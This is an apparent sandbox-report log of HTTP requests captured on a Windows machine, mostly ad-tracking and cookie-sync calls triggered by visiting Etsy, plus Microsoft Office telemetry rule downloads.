Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CK6snODtyokDFRmggwcdd_cJTQ;src=9910951;type=remarkt;cat=unive0;ord=7315919748514;npa=0;auiddc=;u2=%2F;u3=undefined;ps=1;pcor=366266826;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9190758491z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /track/up?adv=r09jr34&ref=https%3A%2F%2Fwww.etsy.com%2F&upid=c6e9qnb&upv=1.1.0&paapi=1 HTTP/1.1Host: insight.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsI4LqJs7OrvT0QBRgFKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIGZ29vZ2xl
Source: global traffic	HTTP traffic detected: GET /track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694&google_gid=CAESELRfUdUGqS4i5V2d4ZcFk30&google_cver=1 HTTP/1.1Host: match.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsI4LqJs7OrvT0QBRgFKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIGZ29vZ2xl
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /up_loader.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsI4LqJs7OrvT0QBRgFKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIGZ29vZ2xl
Source: global traffic	HTTP traffic detected: GET /pagead/1p-user-list/995917074/?random=1731004358973&cv=11&fst=1731002400000&bg=ffffff&guid=ON&async=1&gtm=45be4au0v883287104z86935543za201zb6935543&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&data=ecomm_prodid%3D%3Becomm_pagetype%3Dhome%3Becomm_totalvalue%3D%3Becomm_rec_prodid%3D%3Becomm_category%3D%3Becomm_pvalue%3D%3Becomm_quantity%3D%3Ba%3D%3Bg%3D%3Bhasaccount%3Dfalse%3Bcqs%3D%3Brp%3D%3Bly%3D%3Bhs%3D%3B_google_crm_id%3D%3Bads_data_redaction%3Dfalse&rfmt=3&fmt=3&is_vtc=1&cid=CAQSGwCa7L7dEhxHn_G4pcs96VOYwpRfx4vbhrFsXw&random=1422812119&rmt_tld=0&ipr=y HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ddm/fls/z/dc_pre=CLiMnODtyokDFWePgwcd3HorjA;src=8666735;type=count0;cat=etsy_000;ord=1;num=3832492745913;npa=0;auiddc=;ps=1;pcor=1299258770;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132;uamb=0;uam=;uap=Windows;uapv=10.0.0;uaw=0;pscdl=noapi;frm=0;gtm=45fe4au0v9189895925z86935543za201zb6935543;gcs=G111;gcd=13t3t3t3t5l1;dma=0;tag_exp=101823848~101925629;epver=2;~oref=https%3A%2F%2Fwww.etsy.com%2F HTTP/1.1Host: adservice.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /*X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /pagead/1p-conversion/658194373/?random=662406569&cv=11&fst=1731004357425&bg=ffffff&guid=ON&async=1&gtm=45be4au0v870186735z86935543za201zb6935543&gcs=G111&gcd=13t3t3t3t5l1&dma=0&tag_exp=101823848~101925629&u_w=1280&u_h=1024&url=https%3A%2F%2Fwww.etsy.com%2F&ref=https%3A%2F%2Frh.capriciou.com%2F&label=XwNfCLSf5dkDEMX_7LkC&hn=www.googleadservices.com&frm=0&tiba=Etsy%20-%20Shop%20for%20handmade%2C%20vintage%2C%20custom%2C%20and%20unique%20gifts%20for%20everyone&value=0&npa=0&pscdl=noapi&auid=1464974207.1731004355&uaa=x86&uab=64&uafvl=Google%2520Chrome%3B117.0.5938.132%7CNot%253BA%253DBrand%3B8.0.0.0%7CChromium%3B117.0.5938.132&uamb=0&uam=&uap=Windows&uapv=10.0.0&uaw=0&fledge=1&capi=1&data=ads_data_redaction%3Dfalse&fmt=3&ct_cookie_present=false&crd=CLHBsQIIsMGxAgi5wbECCLHDsQIIisWxAgjCybECCNPFsQIiAQE4AUABSid0cmlnZ2VyPW5hdmlnYXRpb24tc291cmNlLCBldmVudC1zb3VyY2ViBAoCAgM&pscrd=CL6DgNaKoPbtvAEiEwjQpZzg7cqJAxUPl4MHHffsOvwyAggDMgIIBDICCAcyAggIMgIICTICCAoyAggCMgIICzICCBUyAggfMgIIEzICCBI6FWh0dHBzOi8vd3d3LmV0c3kuY29tL0JXQ2hBSWdPZXh1UVlRa2NiUHRkR3J2dWwtRWkwQTdpTzVrYk9hVnpZb0NqRm11SHVPci1yYmJCTng0NlRtTFdONDJfbDdrQWMzc2pLM2tNMHRDMzUzUVZZ&is_vtc=1&cid=CAQSKQCa7L7d9lTBsHJj6HsiisVRhgrJrrPVTFqImba41Q6Mt4b2VIoIYBDy&eitems=ChEIgOexuQYQ-cTFouuT65_xARIdACE_A3ojinL64OlEgb4mSy7sDN8kLd234ok9a0Q&random=3624844151 HTTP/1.1Host: www.google.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /X-Client-Data: CIe2yQEIprbJAQipncoBCMDdygEIlKHLAQiFoM0BCOnFzQEIucrNAQiK080BGI/OzQEYwtjNARjrjaUXSec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsI4LqJs7OrvT0QBRIXCghhcHBuZXh1cxILCNrj562T2b89EAUSFgoHcnViaWNvbhILCPKC6K2T2b89EAUSFQoGY2FzYWxlEgsIgKPorZPZvz0QBRgFKAMyCwiuuOraqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAQ..
Source: global traffic	HTTP traffic detected: GET /pixel/62f2e71d-3885-4822-ba89-6e017b2f1a1e HTTP/1.1Host: pixel.streetmetrics.ioConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rs?sccid=31f13ab2-52e2-b6e8-6c79-f1cae6423d83&scc=1&id=590f83e499a54109bd553d1e2ebaf867&t=marketing HTTP/1.1Host: tags.w55c.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: wfivefivec=5fWZZA3M1T97jd2
Source: global traffic	HTTP traffic detected: GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /universal_pixel.1.1.0.js HTTP/1.1Host: js.adsrvr.orgConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsIhOyir5PZvz0QBRIXCghhcHBuZXh1cxILCJiMzc_ZprQ9EAUYBSABKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIIYXBwbmV4dXM.
Source: global traffic	HTTP traffic detected: GET /getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=4yGks8H1JFBYjfRNE4HFAs5YXZBFvnuAMqonbp0v9GuQdH92MME_hUSIyrrRAL_LkMNmQW4kq99cvbiGdbeSYI8MylpFeGKcWzpCAAC0yNw.; receive-cookie-deprecation=1; uuid2=3437258319151679262
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=fd63d340-783d-4cb2-bfc1-23af0054f694&expiration=1733596365&gdpr=0&gdpr_consent= HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframeReferer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /bounce?%2Fgetuid%3Fhttps%253a%252f%252fmatch.adsrvr.org%252ftrack%252fcmf%252fappnexus%253fttd%253d1%2526anid%253d%2524UID%26ttd_tdid%3Dfd63d340-783d-4cb2-bfc1-23af0054f694 HTTP/1.1Host: ib.adnxs.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://8666735.fls.doubleclick.net/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XANDR_PANID=4yGks8H1JFBYjfRNE4HFAs5YXZBFvnuAMqonbp0v9GuQdH92MME_hUSIyrrRAL_LkMNmQW4kq99cvbiGdbeSYI8MylpFeGKcWzpCAAC0yNw.; receive-cookie-deprecation=1; uuid2=3437258319151679262
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=fd63d340-783d-4cb2-bfc1-23af0054f694&expiration=1733596365&gdpr=0&gdpr_consent=&C=1 HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Zy0Hz9HM4XoAAH5vAehDowAA; CMPS=2440; CMPRO=2440
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /track/cmf/appnexus?ttd=1&anid=3437258319151679262&ttd_tdid=fd63d340-783d-4cb2-bfc1-23af0054f694 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsIhOyir5PZvz0QBRIXCghhcHBuZXh1cxILCJiMzc_ZprQ9EAUYBSABKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIIYXBwbmV4dXM.
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsIhOyir5PZvz0QBRIXCghhcHBuZXh1cxILCJiMzc_ZprQ9EAUYBSABKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIIYXBwbmV4dXM.
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsIhOyir5PZvz0QBRIXCghhcHBuZXh1cxILCMKw9tCT2b89EAUSFgoHcnViaWNvbhILCNjR9tCT2b89EAUYBSACKAEyCwjulODHqdm_PRAFQg8iDQgBEgkKBXRpZXIzEAFaB3IwOWpyMzRgAXIHcnViaWNvbg..
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rum?cm_dsp_id=39&external_user_id=fd63d340-783d-4cb2-bfc1-23af0054f694&expiration=1733596369&gdpr=0&gdpr_consent= HTTP/1.1Host: dsum-sec.casalemedia.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: CMID=Zy0Hz9HM4XoAAH5vAehDowAA; CMPS=2440; CMPRO=2440
Source: global traffic	HTTP traffic detected: GET /track/cmf/rubicon?gdpr=0 HTTP/1.1Host: match.adsrvr.orgConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: cross-siteSec-Fetch-Mode: navigateSec-Fetch-Dest: iframesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Referer: https://insight.adsrvr.org/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: TDID=fd63d340-783d-4cb2-bfc1-23af0054f694; TDCPM=CAESFQoGZ29vZ2xlEgsIhOyir5PZvz0QBRIXCghhcHBuZXh1cxILCMKw9tCT2b89EAUSFgoHcnViaWNvbhILCNjR9tCT2b89EAUSFQoGY2FzYWxlEgsI4ODO15PZvz0QBRgFIAMoATILCO6U4Mep2b89EAVCDyINCAESCQoFdGllcjMQAVoHcjA5anIzNGABcgZjYXNhbGU.
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
